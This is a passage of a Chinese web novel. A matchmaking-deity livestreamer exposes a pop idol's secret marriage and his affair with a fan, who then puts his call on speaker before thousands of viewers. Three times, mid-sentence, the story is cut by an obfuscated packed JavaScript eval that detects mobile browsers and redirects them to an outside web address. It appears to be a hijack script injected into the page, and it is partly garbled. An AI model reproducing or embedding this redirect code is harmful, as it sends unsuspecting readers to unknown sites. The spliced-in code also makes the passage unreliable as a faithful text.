不是,你这姑娘,说人结婚怎么就是诅咒了? 看不起谁的职业内涵呢? 她有心想要驳斥对方这个观点,但又想起刚刚在姻缘簿中看到的内容,那点小小的不悦顷刻散去,化为一声轻叹,连带看着对方弹幕的眼神中都带了几分怜悯。 “我虽不知你所说的他的职业是什么,但是,从刚刚的、——‘卦象’看,现在与你有所纠葛的这位男性,他确实已有婚姻。” “即便你们的姻缘线有所纠缠,却没有结果。因为,对方的姻缘另在它处——在五年前,他便已与现今的婚姻对象正式建立了婚姻关系。” 顿了顿,莺芝补充了一句,“是他的正缘。” 说到这里,看着弹幕区越来越热烈的讨论,迟迟不见那女生再次出现,她有些不忍。 但,为了让对方认识到事实,她还是继续说道:“所以,我劝你早些断掉,并非只是断掉念想,而是连带你们现在的纠缠一起断掉,这是孽缘。于他而言或许没什么,但对你来说,最终只会伤害到自己。” 【一只浪迹瓜田的猹:真的假的……任柏承隐婚?他事业运那么好,怎么可能。虽然很劲爆,但是感觉没什么可信度啊,很像随口一说的造谣】 【我真没有QAQ:我倒是觉得有一定可信度,毕竟主播说得有理有据,连什么时候结的婚都给出来了,很像是真的会算的。】 【晚间生物:虽然我没听太明白这是说谁,但是,小姐姐之前是说了对面那男的27岁是吧?五年前……合着是一到法定结婚年龄就立马领证了?】 【骂谁二次元呢:不仅如此吧,听主播的意思,rbc还跟上边算卦的那女生不清不楚的】 【柏承哥的真嫂子:你有病啊!?】 另一端,抱着手机看直播的女生这下彻底是发了火。 造谣柏承哥已经结了婚,说他们是孽缘也就算了,她都能忍。 但——把她跟柏承哥之间的事搬到了直播间? 这不是影响柏承哥事业吗?! 不管她是怎么知道的——这是能说的吗?? 骂完,她手速飞快,立刻点开后台,打了大段大段的文字,想要在私聊窗口给这个没眼色的主播发消息,警告对方不要再乱说话,却没能把消息发出去,只收获了几个红色感叹号,以及一条提示。 ——平台有限制,若双方非互相关注的好友,对方没有回消息的前提下、最多只能单方面向发送三条消息。 在刚刚发送个人信息的时候,三条已经尽数被她用光了。 见状,女生面色涨红,既怒火中烧,又忍不住担忧和恐惧,忧惧惊怒之下,打字的手都在抖。 【柏承哥的真嫂子:你胡说八道什么!我跟柏承哥之间清清白白,纯粹就是爱豆和粉丝的关系,哪来的什么纠缠!】 【柏承哥的真嫂子:还有,柏承哥绝对不会结婚的,他是傻了吗现在结婚?!而且我们都是从当年一路追他到现在的,他结没结婚,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189084|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们还能不清楚?】 【柏承哥的真嫂子:他绝对没有!!】 莺芝阖了阖眼,想要叹息,又觉得今天叹气太多了,工作中不能这么频繁地叹气。 她正色看向镜头:“这等事情,你是被伤害的一方,所以我没有欺骗你的必要,若你不信,我可以再与你说上一些——与你现在有所纠缠的缘、也就是任天博其人,你与他是在六年前的某次因缘际会中相遇,并在三年前的夏有所发展,是也不是?” 女孩涨红的脸色唰地一白。 她怎么知道的? 而且—— 连柏承哥的真名都知道?! 这个名字从未在任何地方流传过……连个人工作室那边柏承哥的章都是艺名…… 就连她自己,也是一次在酒店偶然看到柏承哥的身份证才知道的这个名字啊? 六年前,三年前…… 难道是手里有料的狗仔? 可要是狗仔的话,六年前,柏承哥还是个没正式参加选秀、也没什么曝光的练习生,怎么会有狗仔去蹲他? 就算蹲到了,又怎么会这么有耐心等上这么多年? 而且……谁能保证她今天就一定会进入这个直播间、又恰好心情不好,和主播掐上? “够了,别说了……” 意识到对方似乎真的是有点东西的、以及接下来还有更多要说的,女孩脸上血色尽褪。 但,她没办法给对方发私聊警告威胁哀求,而在公屏上,但凡有丝毫露怯、都只会加重这个锤。 惹祸了…… 她一时僵住,脑子里一片混沌,完全不知道要怎么办才好。 下意识地,她拿起了身边放着的另一部手机,凭本能拨通了一个号码。 哥哥…… 快接电话啊…… “喂?” 终于,在她的祈求中,已经失联一天的人终于重新接了她的电话。 她如同溺水之人抓到了救命稻草,差点压抑不住语气中的欣喜和激动:“柏……” “——你到底闹够了没有?” 听筒中,醇朗的男声压得极低:“不是跟你说了吗,我这几天有事别给我打电话——交往纪念日有什么好过的,能比我的事业还重要吗?” 女生被这不耐烦的低斥训得一怔,下意识就脱口道:“对不起,我不是有意……” “行了,别说了。”男声打断了她的道歉,但语气缓和了一些,似乎被这温顺的态度取悦,继而道,“知道就行,乖乖待着,别找事,等我有空会联系你的。” “柏……” 嘟—— 女生还想说些什么,但未尽的音节全都被冰冷的系统音吞没。 她有些茫然,似乎没有反应过来发生了什么。 这时,一道温和悦耳、如同莺鸣的女声,把她从茫然中唤醒,注意力也跟着飘了过去。 那小小的手机屏幕中,直播间里,穿着件漂亮的粉色裙子,即使是素颜也让人忍不住心生赞叹的年轻女主播语气温柔,正说着什么。 “——他与他的正缘少时相识,相伴相知,顺理成章结为了夫妻。五年前的…嗯、明日,正是他们确立婚姻关系的日子。” 5. 第 5 章 【骂谁二次元呢:任天博,是指任柏承吗?】 【骂谁二次元呢:啧啧,这艺名确实更爱豆一点。】 【给予她温油ma:我听明白了,意思就是说,这个男的不仅有个青梅竹马的老婆,还跟一个女粉丝搞上了。牛x,这么渣。】 【履行摸鱼职责:看这个嫂子小姐姐的样子,像是不知道这事。那这件事要是真的,不就是被动当三了?】 【晚间生物:原本看她发言挺烦的,没想到这么可怜。】 【骂谁二次元呢:我觉得她应该不知道,rbc那厮我看他不爽很久了,一边吃着女友粉的红利,一边到处麦麸想着cp粉两手抓,还总把粉丝当韭菜,吃相这么难看,人能好到哪去?】 【一只浪迹瓜田的猹:他那个业务能力也就一般啊,粉丝还给吹上天,我等他塌房很久了。啧啧,隐婚,出轨,睡粉,哪一样都够爆炸的。主播姐姐,有什么能当证据的吗?说出来把他锤了啊!】 “抱歉,我虽然能够从对方的缘线中看出诸多的缘,但这次向我祈愿寻求帮助的是崔姑娘,所以若她想得知、是有权得知这些的,我所说的一切,也不过是为了帮她解决她的缘线缠杂问题罢了,并不是为了‘揭穿’谁。” 莺芝声音温和,回应着弹幕上让她“再说多点”“放锤”“最好精确到日期”等的言论。 而那位“崔姑娘”、崔梦语,也就是“柏承哥的真嫂子”,正在屏幕前,望着那些弹幕愣愣出神。 ……当三? 刚刚被莺芝话语震在当场她还处在茫然中,便看见了这一系列的讨论。 这让她原本就没了什么血色的脸更是一片惨白。 她……是第三者吗? 柏承哥他,真的结婚了? 有了方才一系列天知地知、只有她和柏承哥知道的事被一点点托出,崔梦语现在对莺芝已经完全不见了初时那种对待骗子的轻蔑,反而有些难以遏制的恐惧。 恐惧的来源,是那种“能够看清我所有事”的玄乎感。 至于信服度,自是更不必提。 她完全不怀疑对方话语的真假。 强忍着情绪,崔梦语盯着那一行行的弹幕,回忆起刚刚莺芝所说过的,被她不屑一顾被她盖章为“造谣”的所有话。 ——她说,柏承哥和他的“正缘”,少年时就认识了,一路陪伴,在五年前结婚。 但,她认识柏承哥六年了。 六年前,她被同学带去线下演出看练习生们登台,在那个偶像行业并没有如此普及、年龄轻化的当年,台上演出的练习生们多是二十上下的年龄。 他也在,但不是在台上,而是在场地内无人注意的角落。 二十一岁的大男生扬首仰望着台上,眼中充满着憧憬和向往。她只是匆匆一瞥,就再移不开目光。 那是她第一次遇见他。 原来在那时候……他就已经有青梅竹马的有女朋友了。 五年前,他们结婚。 彼时,她和他已经相识相知,彼时,对方已经在为出道而努力,彼时……他背着所有人,在二十二岁、在刚一到达结婚年龄,就带着那个女孩去领了证。 崔梦语嘴里有些发苦。 她当年跟他认识,本来是没想着要在一起的,做一个灵魂契合的朋友也很好,可以互相鼓励一起向前。她知道他还在上学就偷偷溜出来当练习生,也知道他有多想站在台上。 后来,他一步步走得更远。在某次演出后的大粉见面会聚餐后,她送喝多的他回酒店,被他留了下来。 他不肯公开,她双手同意,因为对方是偶像。这样的人,是不应该暴露感情事宜的,他要站在灯光下,要站在所有人面前,要以最完美的姿态,满足所有粉丝的期待,单身,是一个偶像必备的硬性条件。 虽然这样有些对不起喜欢他的粉丝们,但,她不忍心对他说不。 她一直以为,自己是对方的知己,完全不在意什么名什么份,只要能像一直以来的这样,陪在他身边就好了,默默陪伴着他,支持着他,陪他走过所有昏暗无光的日子,然后在台下,仰望着闪闪发光的他。 但是,现在,却有人告诉她,这都是假的。 他的身边,默默陪伴着他、支持着他、陪他走过所有日子、在鲜花和人群之外等待着他的,确有其人——却不是她。 对方比她陪他更久,比她更名正言顺,比她付出更多更多更多。 崔梦语一点一点地回忆着,眼眶瞪得发干发涩,却始终流不出一点眼泪。 他留下她,和她在大床上耳鬓厮磨时,他是有妻子的,他的妻子正在他们的家里,等待着他。 而他这几天不回消息,挂掉电话,口口声声说什么“工作重要”,但身为他的女朋友、又是大粉之一的她,却完全没有收到工作室任何行程的通知,原本就有些疑惑。 现在想想,实际上,是因为这几天,是他和妻子的结婚纪念日吧? 他每次的到来,她每次的追随行程,他们每次的热火,他的妻子都在他们两人的家中,等待着他。 她自以为是解语花,痴心人,所有的一切,都只不过是笑话。 事实是,她欺骗了同为粉丝的其他女孩们的感情,插足了和竹马正常结婚的那个女孩的家庭——然后,还在这里恬不知耻地自我感动着。 ……她,真的是第三者。 【你到底说不说:急死我了,那个崔小姐咋还不出来?主播都说了这么多了,你倒是出来说点啥啊,我是真的想吃明白这一口瓜。】 【[任柏承什么时候四]送出应援棒x66】 【[任柏承什么时候四]送出连环礼花x3】 【[任柏承什么时候四]送出珊瑚真珠x3】 【[任柏承什么时候四]送出珠光宝玉x3】 炫目耀眼的礼物特效一行行刷过去,顶着加亮ID的弹幕随之飘出。 【任柏承什么时候四:山林不语,我知道是你,别躲着了,你出来啊,平时跟我们撕的时候不是挺能耐的吗?我这一听说任柏承出事就马不停蹄赶来看了,更多的姐妹还在路上,马上到场,你可别不敢应阵啊】 【任柏承什么时候四:你不是爱说笑死么,动不动就我们笑死你了,你现在怎么不笑了?】 【任柏承什么时候四:山林不语,别当孙子,你不是护承宝吗,出来说话!】 【骂谁二次元呢:粉圈虽迟但到。】 【履行摸鱼职责:这阵仗,rmb开路,好可怕,好吓人】 【你到底说不说:什么粉圈打架不打架的谁都行快点出来说话啊我就想吃个瓜急死我了】 【一只浪迹瓜田的猹:你改名叫一只焦急转圈的猹吧,适合你】 机械地盯着屏幕的崔梦语,在看到【任柏承什么时候四】出现时完全没什么想要回嘴的心情,即便这位准确地叫出了她在后援会的ID,叫出了她在粉丝群体里的名字,即便正如对方了解她一样,她也能清晰认出对方皮下是谁,但,她都没有心情回应。 这短短几分钟里的思考,已经烧干了她在这段“追星”里的所有表达欲望。 她只是怔怔地看着屏幕,本能地阅读者一行又一行的弹幕,大脑机械地处理着那些信息。 【晚间生物:差不多得了吧,崔小姐姐也是受害者啊】 【[晚间生物]送出糖果礼盒x5】 【给予她温油ma:受害者?这种情况女的怎么可能不知道男的结婚了,俩人都脱了裤子躺一个被窝了,对那点事还能一点察觉也没得?肯定是一个看上钱脸或者“真爱”,另一个图年轻图新鲜图偷吃呗,就是可怜他老婆了。】 【任柏承什么时候四:难怪这么护他,原来爬了他的床。】 【任柏承什么时候四:一个知三当三的婊子,一条隐婚睡粉的公狗,你们也真算天造地设的一对狗男女了哈。】 “——适可而止。” 眼看着弹幕消息在个别出挑的发言中,开始从友好交流变得有攻击性,从对她的怀疑质疑渐渐转变成了对来求助者的攻击,莺芝皱起眉,叫停了这一切。 【任猪臭脚:我们送礼物了还不能说话?你这主播拿了钱就别多事好吗?】 莺芝神情微冷:“本直播间为定缘直播间,并非闲话集市,既然来到这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189085|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就该遵循这里的规矩,尊重他人——这与是否送礼物无关。” 直播间观众在不知不觉中已经突破四位数,尤其在“任柏承”的名字被正式提出后,大片大片的观众如同潮水般涌入,将莺芝直播间热度推向小高潮的同时,也带来了更多难以管控的发言。 听了她这话,从一开始便在直播间的一些观众们这才迟迟地发现,这位小姐姐,似乎一直没有感谢过任何一条礼物和打赏…… 在她看来,这是真不值得她提上一句的啊? 来自突然涌入的、一系列挂着“任柏承”相关ID的观众们此起彼伏的发言中,莺芝虽然还是带着工作的笑,笑意却已经淡得几乎不见。 她淡声做了总结:“总之,希望各位控制发言,不要随意攻击他人。否则请从这里离开。” 手机里,动听的女声传出,觉得自己都快要变成木头了的崔梦语不知道为什么,鼻子突然一酸,眼泪不受控制地夺眶而出。 一瞬间就泪流满面。 她颤抖着手指打字。 【柏承哥的真嫂子:我没有,我不知道,我真的不知道……】 【柏承哥的真嫂子:我真的不知道……】 她真的不知道任柏承有女朋友,有妻子。 她真的不知道她介入了别人的家庭。 她真的不是故意—— 【任柏承什么时候四:好了,这下事情明了了。】 【任柏承什么时候四:任柏承大粉,后援会会长,山林不语,正式盖章承认,她和任柏承有一腿,任柏承睡粉实锤。同时,任柏承疑似隐婚、出轨。】 【骂谁二次元呢:……啧】 【履行摸鱼职责:这下是真的几乎可以确认了……可惜小莺姐姐是算卦的,不是狗仔,不能当真正的资料。要是崔小姐姐这里有点什么证据,这些证据累加,直接能锤得rbc永不翻身了。】 【我真没有QAQ:算卦本来就是这样,是能算出来不假,但你难道还能指望算卦的给你拍张照片和录段视频?玄学虽然有用,但不是万能啊。反正我现在是真的信小莺是个有点东西的了。】 【我真没有QAQ:那小莺,你能根据我的生辰八字算出我爸和我妈的姻缘吗?】 “不能。” 对这位一开始就表现得很相信“玄学”的观众有一定的印象,莺芝耐心地回答着:“之所以能够从崔姑娘的信息中‘测算’出任天博的缘,是因为崔姑娘的缘线与对方的缘线在姻缘方面有所纠缠,所以能够顺藤摸瓜,从这里探到对方的一二。” “就像这样。”说到这里,她把红线小人拿了起来,又抽起另一根姻缘线,把两根交叉放在了一起,“但你父母的缘线与你的,则只会有亲子缘,在象征姻缘的方面不会有任何联系,所以我无法看到。若想要‘测算’你父母的姻缘,则要用他们的八字等信息。” 【我真没有QAQ:……原来如此。受教了!】 【[我真没有QAQ]送出珊瑚真珠x1】 【晚间生物:我这是听了一堂玄学课吗,感觉小姐姐在试图教会我怎么算卦,第一课:《姻缘卦测算的原理》】 崔梦语呆呆地看着直播,有点不懂怎么话题就转偏了。 突然,放在一旁的手机响了起来。 她被突如其来的铃声吓得一个哆嗦,旋即才反应过来,看向屏幕。 ——[柏承哥]来电。 她眼神一黯,没有理会手机,让它就那么在桌子上欢唱震动着。 直播间里,一条来自加亮的明晃晃ID的消息刷了出来。 【任柏承什么时候四:山林不语,你不打算多说点什么?我已经把这件事发网上了,有直播切片,有你的发言,该有的都有,相信很快就会热闹起来了。】 崔梦语一怔,又看向那个正在响铃的手机。 所以,柏承哥、——任天博,他这是知道这里发生的事了? 她伸出手,又突然有些胆怯,不敢去触碰那个手机。 直播间,温柔的女声透过屏幕,如春风般温煦。 “崔姑娘,并不属于你的缘,及早断掉,对你来说是一件好事。” 6. 第 6 章 ……不属于我的。 崔梦语怔怔看着屏幕中的女性。 即便在刚刚,自己还态度恶劣地跟对方针锋相对,因为心情不好而无理取闹找对方的茬、拆对方的台,但从头至尾,在那张清丽的脸上,都没有出现过任何不耐烦和气恼的情绪。 唯一的一次冷淡,还是因为,在制止那些人骂她。 她始终温和,始终微笑。 直到此时此刻,对方的态度,依旧是那么和善,神情中没有丝毫芥蒂,语气里甚至还有着些许的“袒护”—— 就像是,自己完全没有做过什么对她那边不好的“坏事”一样。 到底是因为这是身为一个主播的职业素养,还是因为她真的脾气那么好? 好得简直,简直不像是个正常人。 明知不合时宜,但崔梦语还是有些控制不住地发散着。 如果是她,她肯定是做不到这样的,就算是自己的好朋友,这样没有理由地就开始找茬闹事,她也会生气。 但对方没有。始终没有。 像个假人一样。 “崔姑娘,你还在听吗?” 小小的手机屏幕里,那位没脾气似的主播又一次开了口,“需要我帮忙吗?无论是断缘,还是为你测算真正的缘,都可以。” 她连笑容弧度没有丝毫改变。 但无论是态度还是话语的内容,都明晃晃地标示着“偏袒”。 她似乎在说:如果你想要断掉这段“孽缘”,无论是选什么样的方式,我都可以帮忙。 旁边,短暂消停了片刻的另一部手机再度响了起来,把桌面震得嗡嗡颤动。 屏幕上,讨论谩骂侮辱一屏屏滚过去,依然盯着莺芝的崔梦语恍惚了一瞬。 她觉得,假人的说辞太不尊重,如果换一个说法,这个小主播……于她而言,更像是一个包容的,仁慈的,心软的神。 在世界崩塌,也许会背负万人唾骂的时刻,真正的神对她伸出了手。 像她这样,无知、愚蠢、偏执……还坏,伤害了素不相识无辜女孩子的恶人,也会有被救的资格吗? “不属于我的……断掉,对我是好事……都到这个时候了,我还配奢求‘好事’吗?” 自嘲地笑了笑,崔梦语侧眸看了一眼震动不息,闪动着[柏承哥]来电的手机。 根据她对任柏承的了解,不用接就基本可以想象到电话接通后他会是什么态度、又会说些什么。 她脑子里乱糟糟的,挣扎,失望,纠结,痛苦,犹豫,无数情绪毛线一样混成了团,一时难以理清。 明天,就是他和他那位青梅的结婚纪念日了。 他敷衍自己,敷衍自己的“交往纪念日”,是为了和她过结婚纪念日吗? 可,如果他记挂着结婚纪念日,又为什么会在三年前的结婚纪念日前后和她发生关系? 任柏承,任天博他——到底是怎么看待他和她的婚姻的? 那位青梅的妻子,知道他的这些事吗? 知道他是什么样的人吗? 她是一直被蒙在鼓里,还是隐约察觉到过什么? 想到这里,崔梦语抿了抿唇,坐直身体,整理了几下有点乱了的头发。 她调出输入法。 【[柏承哥的真嫂子]送出盛世焰火x1】 【柏承哥的真嫂子:主播,可以连麦吗?】 ——连麦? 满屏炸开的绚烂烟花特效中,莺芝看到了加粗加亮,甚至加了炫彩底框的,崔梦语的弹幕。 回忆了一下文隽下午的“授课”,似乎提到过一下这个词语——是说观众可以与她对话,而不是只能像现在这样,只能文字交流? 莺芝想了想,没有拒绝。 “可以。” 不管对方想说什么,直接对话总比一个说话一个打字来的方便。 在弹幕轰然炸开,讨论着这惊天大瓜的主人公之一突然送出最高档的礼物、突然要连麦等内容的时候,崔梦语操作完观看直播的手机,拿上了身边一直在间歇响动的另一个。 【[柏承哥的真嫂子]申请加入直播,是否同意?】 摸索着开放了权限,莺芝看到这个提示,没有顾得上研究,便点击了确认。 紧接着,她的直播画面自动缩小了一半。 屏幕的另一半,多出来了另一个窗口,里边是一个留着头长长卷发,带有口罩的女孩子。 【骂谁二次元呢:……啊??你们说的连麦,是指开视频连吗?】 【一只浪迹瓜田的猹:我觉得,我嗅到了不同寻常的气息。】 【履行摸鱼职责:额,虽然戴着口罩,但是我感觉,真嫂子小姐姐也挺好看的……】 【任柏承什么时候四:笑死,她要是没这张脸,怎么能被那条公狗看上?那可是没钱都消费不起的贵鸭。不要她的钱,免费伺候,当然是在消费她本人。】 【[任柏承什么时候四]送出盛世焰火x1】 【任柏承什么时候四:既然上麦了,是来吵架还是来维护你家那条主子的,直接说吧。】 【骂谁二次元呢:……你们粉圈,胜负心还是这么强。】 【给予她温油ma:新人主播第一天收两个焰火,赚翻了。】 【履行摸鱼职责:我也好想挥挥手就给小莺姐姐送出一个焰火,可惜我的钱包不争气,啊啊。】 【任猪排速糊:山林不语,上麦了就赶紧说话,别装哑巴。】 【你到底说不说:我快急死了,谁都好,快点推进吧我要听瓜】 【晚间生物:谁手机在响?】 前后两个焰火,热度叠加,直接吸引来了大波观众,而加上被粉圈人士们渲染公开的“瓜”,小小的直播间里,每秒钟都有数不清的人蜂拥而至。 红线小人的两个红豆眼睛,愣是挤出了“目瞪口呆”的效果,抱着莺芝的手指,仰望着架在支架上的手机。 莺芝点了点它的脑袋,看着卡顿的手机,总算明白了文隽为什么说直播是符合她要求的“方法”了。 ……好多人啊。 果然,想要挽救香火,还是得来凡间。 收拢思绪,她看向崔梦语:“想说什么?” 崔梦语带着临时摸出来遮挡下半张脸的口罩,对着莺芝点了点头,没有说话,而是微微垂下眼,接通了数不清是第几次响起的电话。 下一秒,一道男声通过小小的直播间,通过被点了一下的“免提”,传到了天南地北无数人的耳中。 “你在搞什么?!” 不耐的、高亢的,带着毫不掩饰怒火的一句开场白。 由于情绪过于外放,导致那些在别的平台看到剪辑后跟风找到直播间,准备随时“反黑”的任柏承粉丝们,都没能第一时间辨认出,这本该是她们最熟悉不过的声音。 男声还在继续:“经纪人都找到我这儿来了,让我去看热搜,群里其他人也都在看笑话——你能不能让我省点心?那直播间到底怎么回事!” 听到这十分不客气的内容,莺芝皱了皱眉。 她看向屏幕另一半,崔梦语没有动作,只是低着头,看不清表情。 “我就是不知道怎么点进了这个直播间,说是能算卦,这不明摆着是骗子吗?我就凑了个热闹,也没想到会这样啊。” 她听起来似乎有些委屈,还有点亲昵的抱怨,“你又不理我,我无聊啊,就刷视频啊,随便进了个直播间,哪知道发展成这……” “——你能不能长点脑子!”男声气恼至极,“就算再无聊,话能随便说吗?什么就我跟你有一腿了?你知道这种话要是被有心之人听到,对我会有什么影响吗?!你又不是不知道那几个蠢货惦记我位置多久了——要是影响了公司对我的发展规划,你准备怎么办?蠢货!” 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189086|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算再陌生,也有越来越多的人认出了这男声是谁。 瞬息之间,直播间的弹幕如同烧开了的水,彻底沸腾起来。 不止是为这男声的态度、还有他话中暴露出的所有,不为大众所知的内容。 吵架的吵架,看热闹的看热闹,莺芝先前的“警告”完全不顶用了——场面已经失控,需要禁言和拉黑才能制裁了。 可惜她还不会这两样技能。 而风暴的中心,酿成这一切混乱的源头——崔梦语,还是刚刚的动作,脑袋微垂,但语气却有了点改变。 听起来,她似乎也被这一通不客气的指责给惹生气了。 “那你说怎么办?我刚刚都给你打电话了,想问你要怎么做,是你自己不让我说话,这时候又怪起我来了?在你心里,我就是那么不知轻重的人吗?我有拿你前途开过玩笑吗?任柏承,你别太过分了——” 她声音里的委屈越发浓重,还带着些哽咽,“而且,你不找我我还要找你呢,那个主播说你结婚了,要不是她说,我还不知道这事,你真是好样的啊,骗我这么久?” 男声一滞。 随后,在所有人的“竖起耳朵”中,他突然软了语气。 “怎么可能,你也说了,那就是个骗子啊。”他压着刻意轻柔的声音,贴心的,诚恳的,“你还不知道我吗?我肯定是把事业放在第一的啊,然后就是你,不要胡思乱想,好吗?” “至于那个直播间,你退出来了吗?没有的话就快点退出来,不要再多说了。我相信你不会直接暴露我们的关系,但是已经够了,多说多错,乖乖的,好吗。” 崔梦语顿了顿,仿佛又被他这短短的温言软语劝慰,沉静了下来,不再如火药桶。 她带着哽咽问道:“那,这件事怎么办?” 听她松口,男声像是舒了一口气,而后,也带了些惋惜和忧愁: “这件事可能有点麻烦……毕竟,就算没有实锤,但舆论上去了,我‘疑似睡粉’的风声传出,公司也必然会对我进行一定的冷置,队长的位置都可能不稳——” “虽然这是你的错,但我不怪你。毕竟我是你的男人,该为你的错误承担后果,就算这是我拼搏了多年的结果。这条路是我们一起走来的,无非是倒退几年……” 说到最后,他似乎遗憾地摇了摇头,很是怅惘,又携着恰到好处露出的一丝迷惘,“我……会成为一个笑话吧?从高高在上的位置掉下来,和他们平起平坐,每天每天,被嘲笑。” 听完任柏承的话,弹幕满屏的惊叹中,莺芝有点疑惑。 ——大家在说的“PUA”,是什么意思? 崔梦语状似惊惶道:“那怎么行!这是你的一切,怎么能就这样……真的没有办法了吗?” “办法是有的……但是那需要你为我承担。小语,你说,我怎么能忍心呢?” 没有人能够看到的地方,崔梦语勉强地牵了牵嘴角,是自嘲,也是讥讽。 从甜言蜜语织就的陷阱中跳出,以往很多没看懂的事,都再明了不过。 原来,都是她被迷了眼。 是啊,他一直都是这样的人。 她问道:“什么办法?” 男声愈发的温柔,谆谆诱导着:“舆论这种事,一旦有了苗头,就算是捕风捉影的,也很难刹住。所以现在这情况,要是想补救,就只能你站出来,公开表明态度……这一切,都是你的臆想,你的手笔。你爱我,也想我爱你,所以……” 崔梦语抬起了头,语气冷漠。 “——所以,这都是我一厢情愿的幻想,是我沉溺于自我构建的爱中、对你的意淫,所以,我要一口咬定,是我找主播陪我炒作,演了这么一场戏,对吗?” 男声笑道:“对,聪明,不愧是我看上的……” “——任柏承,我和主播在连麦。” 嘟—— 电话挂断了。 7. 第 7 章 似乎一点也没意外电话会被挂断,崔梦语说完那句话,沉默看了屏幕两秒,放下了手机。 她看向连接着直播间的手机,看向莺芝。 “我其实……没想过要做这么绝的。” 嗓音偏低,眼眸无神,看上去有些失落。 已经达到了数万人同接的直播间里,弹幕一片热闹。 【小姐姐什么意思,不会是后悔了吧?】 【绝吗?哪里绝了?这种死男人就该被钉死到耻辱柱上!】 【真够劲爆的啊……任柏承原来私下里是这个样子的,啧啧】 【爆料都爆料了,有啥后悔的啊这种渣男!】 【要是真的后悔了,那我就要真吐了,渣男贱女配得一比】 【这不就是一种回踩吗,脱粉回踩,分手回踩——太冷酷无情了吧,这种女的好恐怖,分手就把人直接搞死……好歹这也是你真心爱过的人?】 【一想到她手里可能还握着各种亲密的照片、录音等东西,我就觉得浑身发毛……这个年代,谈恋爱真危险啊】 【山林不语,算我看错你了!你怎么能这么对柏承哥?联合外人一起演戏,还找了模仿柏承哥的声音,多大仇啊?】 【造这种谣,山林不语你夜里不会做噩梦吗?】 【你亲手毁了他,你个吃里扒外的私生饭!!】 大片大片看热闹的讨论声中,莺芝扫过那些消息,对现代凡间人们的思想有了大概的了解。 她没有再做无谓的阻止,而是把重心放到了和崔梦语的沟通上。 轻轻颔首,莺芝露出了表示理解的神色。 她噙着弧度固定的,淡淡的笑容,对崔梦语道:“即便你们的交谈会暴露在外人面前,只要他有些许悔改之心,便也不会到如此地步。” 崔梦语的意思,或许并不是“后悔”,而只是感慨。 她只是想借此断掉两人的缘分,干净利落。 但同时,也没有想过,对方会直接暴露如此多的内容,话赶话,竟发展如此。 在莺芝看来,这又何尝不是给对方最后一个机会。 如果对方坦荡承认,并对这个被他欺骗多年的女性表以歉意,对他的婚姻表以歉意,摆正态度,那么一切便也不至于如此。 他虽然仍旧可能会失去现有的这份不允许结婚和有感情的工作,失去许多粉丝,失去许多,但最起码,也会留下一个“知错能改”的名——至于失去的那些,原本就是他该为自己的错误付出的代价。 等这件事传开,或许,还会有一些男人女人为他开脱,以“他只不过犯了男人都会犯的错”“不是都及时补救了吗”“他还是很在乎他的家庭的啊”“他就是真爱自己的老婆啊凭什么不允许结婚”等等等等理由。 但现在,他的所有的所有,几乎都被自己,在这一通电话中给亲手埋葬并断送了。 崔梦语听懂了莺芝的未尽之意,口罩之下,她扯起嘴角勉强地笑了笑,又摇头。 “我和他没什么不同,他犯了错,所以要承担结果,要失去很多……但我也犯了错,我不能拿自己什么也不知道来抵罪,把所有的问题都推给他——一个巴掌拍不响,苍蝇不叮无缝的蛋……这些话我都听过,也都知道。所以,我不会当做什么都没发生一样。” 她又整理了一下鬓边的头发,坐正了一些,端正地看向了镜头。 “是我的错,我犯了错,我对不起他的妻子,对不起他的粉丝们,对不起我自己。之后,我会……投身到公益中,未来两年内,我会把每月收入的一半都无偿捐献给妇女保护方面的公积益金会,为我这些年的无知和愚蠢……做一些补救吧。” 此言一出,直播间的观众们都呆住了。 随着先前那通电话,直播间里的人是只见多不见少,吵架的吃瓜的发表自己看法的云云种种不一而足。 而在崔梦语的这番话下,又是一波波的热潮被掀起。 【真的假的,直接拿一年工资出去?】 【我觉得,这也不是主动当三,被动的……其实也是受害者啊,没必要付出这么高的代价吧?】 【要是每个小三都这么有觉悟,世界上的公益活动要多多少助力啊!】 【没道理只有小姐姐一个人承担吧?任柏承呢?作为一个蝻人,又这么美美隐身了?】 【任柏承的瓜是大头吧,在现在这个明星摔一跤都是大事的时代,他想隐身也隐身不了,我看x博上已经闹开了】 【……小姐姐态度真的很好了,我一开始还以为她上来是要哭麦给自己立无辜人设的】 …… 其中也不乏任柏承的粉丝们,在尖锐地攻击崔梦语,攻击莺芝,攻击直播间,攻击其他黑粉,攻击指责任柏承的其他观众,但在此时此刻的直播间里,粉丝们这样的举动无异于给自己立了无数敌人,连带许多本来对事件持中立态度的纯路人观众都对任柏承及其粉丝们观感下降,下场加入了讨论。 